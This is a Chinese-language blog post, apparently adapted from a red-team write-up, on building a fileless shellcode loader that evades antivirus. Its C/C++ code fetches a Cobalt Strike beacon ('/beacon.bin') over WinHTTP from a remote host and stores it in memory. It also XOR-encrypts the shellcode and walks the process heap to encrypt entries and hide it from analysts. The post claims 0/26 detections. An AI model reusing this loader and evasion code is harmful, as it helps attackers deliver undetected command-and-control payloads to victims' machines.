使用Winhttp从一个远程托管的bin文件中执行shellcode
作者:Sec-Labs | 发布时间:
参考资源
- 博文《Shellcodes are dead, long live Fileless Shellcodes》
- 项目地址https://github.com/kleiton0x00/RemoteShellcodeExec
最近我正在开发一个简单的 Shellcode Loader,它使用回调作为 Shellcode 执行的替代方法。虽然它绕过了每次运行时扫描,但未能绕过签名检测。所以我启动了ThreatCheck来识别坏字节:

乍一看,无法理解到底检测到了什么,所以我启动了GHidra来手动识别这些坏字节。我只是从 ThreadCheck ( 00 1F CC 07 00 15 CC 07 ) 中复制了一个随机模式,并尝试在恶意软件编译的 EXE 的内存中搜索。

这显然是我对我的 Shellcode Loader 实施的 XORed Shellcode,它被 Defender 检测为 Cobalt Strike 代理。似乎 XOR 加密例程在静态检测方面不够强大,这让我开始思考:存储的 shellcode 真的死了吗(尤其是那些从 Cobalt Strike 生成的)?我不会感到惊讶,因为目前 Cobalt Strike 是威胁参与者中最流行的 C2 框架,但必须采取一些措施才能使 Shellcode 再次变得强大且无法检测到。
原始 Shellcode:它们有什么问题?
Cobalt Strike 的有效负载基于 Meterpreter shellcode,包括许多相似之处(有时相同)API 散列(x86和x64版本)。
Cobalt Strike 使用的默认哈希是高度签名的;我们可以通过执行动态哈希编码来解决此类哈希问题。如果您查看下图,哈希值是InternetOpenA0xa779563a的默认哈希值。如果你简单地用谷歌搜索哈希,与 Metaploit 相关的所有内容都会显示出来,所以这个哈希主要被 Cobalt Strike 信标和 Meterpreter 代理使用。将 ror13 散列应用于此类散列将大大减少 AV 供应商的检测(几乎为 0)。由于这篇文章已经很好地解释了这一点,我不打算进一步解释,但下面的照片给出了对哈希值进行编码后的最终结果。

无文件 Shellcode 来拯救
虽然这不是什么新鲜事,但无文件 shellcode 是避免签名检测的好方法,方法是从 Internet 检索 shellcode。这样你将解决大熵和任何可能的签名检测的问题。在下面的照片中,有一个传统的 XORed 加密 shellcode 和我们的无文件 shellcode 加载器之间的比较。由于 shellcode 不必存储在 .text 部分,因此熵将急剧减少(记住):

可以在此处找到完整的源代码,但在本文中,为了便于理解,我将尝试分解代码。
为了从 HTTP 服务器请求 shellcode,我将使用winhttp库。或者,您可以使用套接字,根据一些研究,它可能是更好的解决方案,可能会导致较低的运行时检测。下面的代码是用于请求和检索请求的 HTTP 响应主体(这是原始 shellcode)的基本代码(出于理解目的而缩短),它基本上将存储在向量数组中:
// Initialize WinHTTP
hInternet = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
printf("[+] WinHTTP initialized\n");
// Connect to the HTTP server
hHttpSession = WinHttpConnect(hInternet, L"192.168.0.60", 80, 0); //192.168.0.60:8081
printf("[+] Connected to HTTP Server\n");
// Open an HTTP request
hHttpRequest = WinHttpOpenRequest(hHttpSession, L"GET", L"/beacon.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
printf("[+] Sending HTTP GET Request\n");
// Send a request
bResults = WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
printf("[+] WinHTTP request sent\n");
// Wait for the response
bResults = WinHttpReceiveResponse(hHttpRequest, NULL);
printf("[+] Response retrieved\n");
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hHttpRequest, &dwSize))
{
printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
}
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
// No more available data
if (!pszOutBuffer) {
printf("[-] No more available data");
dwSize = 0;
}
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.\n", GetLastError());
else
PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
} while (dwSize > 0);
char* PE = (char*)malloc(PEbuf.size());
for (int i = 0; i < PEbuf.size(); i++) {
PE[i] = PEbuf[i];
}
// Close the HTTP request
WinHttpCloseHandle(hHttpRequest);
// Close the session
WinHttpCloseHandle(hHttpSession);
// Cleanup
WinHttpCloseHandle(hInternet);
总有加密的地方
注意以下部分:
char* PE = (char*)malloc(PEbuf.size());
for (int i = 0; i < PEbuf.size(); i++) {
PE[i] = PEbuf[i];
}
从团队服务器检索的 shellcode 存储在堆中,使蓝队很容易分析堆并发现里面的内容(显然是我们未加密的 shellcode):

此外,在堆中加密 shellcode 总是一个更好的主意:
char* PE = (char*)malloc(PEbuffer.size());
for (int i = 0; i < PEbuf.size(); i++) {
PE[i] = PEbuffer[i] ^ 0x7e; //XOR encrypted
}
XOR(PE, PEbuffer.size(), key);
其中XOR是解密数组的基本函数:
void XOR(char* data, int len, unsigned char key) {
int i;
for (i = 0; i < len; i++)
data[i] ^= key;
}
不惜一切代价保护堆
加密堆是一个好主意,因为它可以保护可能存储在堆中的敏感数据。当程序在不受信任的环境中运行时,这一点尤为重要,因为存储在堆中的任何数据都可能被恶意软件分析器分析。
// Encryption Key
const char key[2] = "A";
size_t keySize = sizeof(key);
void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
for (size_t i = 0; i < length; ++i) {
buffer[i] ^= key[i % keyLength];
}
}
PROCESS_HEAP_ENTRY entry;
void HeapEncryptDecrypt() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(GetProcessHeap(), &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
}
}
}
HeapWalk ()函数用于遍历进程堆中的每一个堆表项,用于检查表项是否繁忙。如果忙,则使用xor_bidirectional_encode()函数对表项进行加解密。这是通过使用异或运算来加密和解密数据来完成的。
项目概述
- 从远程托管的服务器上执行shellcode,将使可执行文件本身的熵急剧减少。
- 实施了一个简单的堆加密,以避免shellcode被发现。
- 免杀(0/26次检测)